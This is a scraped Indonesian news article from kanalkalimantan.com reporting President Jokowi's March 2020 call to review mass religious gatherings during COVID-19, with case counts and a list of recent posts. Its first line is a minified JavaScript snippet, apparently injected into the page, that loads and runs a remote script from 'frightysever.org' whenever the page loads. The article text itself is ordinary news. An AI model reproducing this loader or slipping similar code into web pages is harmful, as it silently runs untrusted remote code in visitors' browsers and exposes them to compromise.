(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Cegah Covid-19 Kian Meluas, Presiden Jokowi Minta Evaluasi Acara Agama Undang Massa!


KANALKALIMANTAN.COM, JAKARTA– Presiden Joko Widodo (Jokowi) meminta jajarannya mengevaluasi kegiatan keagamaan yang melibatkan banyak orang untuk mencegah penyebaran virus corona (Covid-19) semakin meluas.

“Kami harus evaluasi penyelenggaraan kegiatan keagamaan yang melibatkan banyak orang,” kata Jokowi saat membuka rapat terbatas terkait Laporan Tim Gugus Tugas Covid-19 yang disiarkan melalui akun YouTube Sekretariat Presiden, Kamis (19/3).

Sejumlah kegiatan keagamaan yang melibatkan banyak orang digelar, mulai dari pentahbisan uskup Ruteng di Kabupaten Manggarai, NTT hingga tablig Ijtima Dunia 2020 di Kabupaten Gowa, Sulawesi Selatan. Pentahbisan uskup Ruteng tetap berlanjut dengan pengawasan ketat, sementara Ijtima Dunia ditunda sementara.

Jokowi mengaku telah meminta pada tim gugus tugas penanganan covid-19 yang dipimpin Kepala Badan Nasional Penanggulangan Bencana (BNPB) Doni Monardo untuk mengajak tokoh agama mencegah potensi penyebaran virus corona.

“Saya minta gugus tugas mengajak lembaga keagamaan, tokoh-tokoh agama bersama mencegah potensi covid-19 di kegiatan keagamaan,” katanya.

Menteri Koordinator Kemaritiman dan Investasi Luhut Binsar Panjaitan menyatakan akan berkomunikasi dengan Majelis Ulama Indonesia (MUI) untuk meninjau berbagai perayaan hari besar keagamaan yang jatuh dalam beberapa bulan ke depan ini.

Komunikasi dilakukan setelah Badan Nasional Penanggulangan Bencana (BNPB) mengumumkan perpanjangan masa status darurat virus corona (Covid-19) sampai dengan 29 Mei 2020. “Ini semua akan kami bicarakan. Semua perlu dipelajari,” katanya Rabu (18/3).

Sebagai informasi, hari besar keagamaan selama masa tanggap darurat virus corona ini, antara lain Hari Raya Nyepi 25 Maret, Wafat Isa Al Masih 10 April, Hari Raya Waisak 7 Mei, Kenaikan Isa Al Masih 21 Mei, dan Hara Raya Idul Fitri 24-25 Mei 2020.

Sampai kemarin, Rabu (18/3), telah ada 227 kasus positif corona di Indonesia. Dari jumlah tersebut, 19 orang meninggal dunia dan 11 orang dinyatakan sembuh dari Covid-19.

Penyebaran virus corona pun semakin meluas, mulai dari Jakarta, Banten, Jawa Barat, Jawa Tengah, Yogyakarta, Jawa Timur, Sulawesi Utara, Kalimantan Barat, Kalimantan Timur, Sumatera Utara, Riau, serta Lampung. Jokowi sendiri telah mengimbau masyarakat untuk membatasi aktivitas di luar rumah. Ia meminta masyarakat belajar, bekerja, dan beribadah dari rumah masing-masing.(psp/fra/Cnnindonesia)

Reporter : Psp/fra/cnnindonesia
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.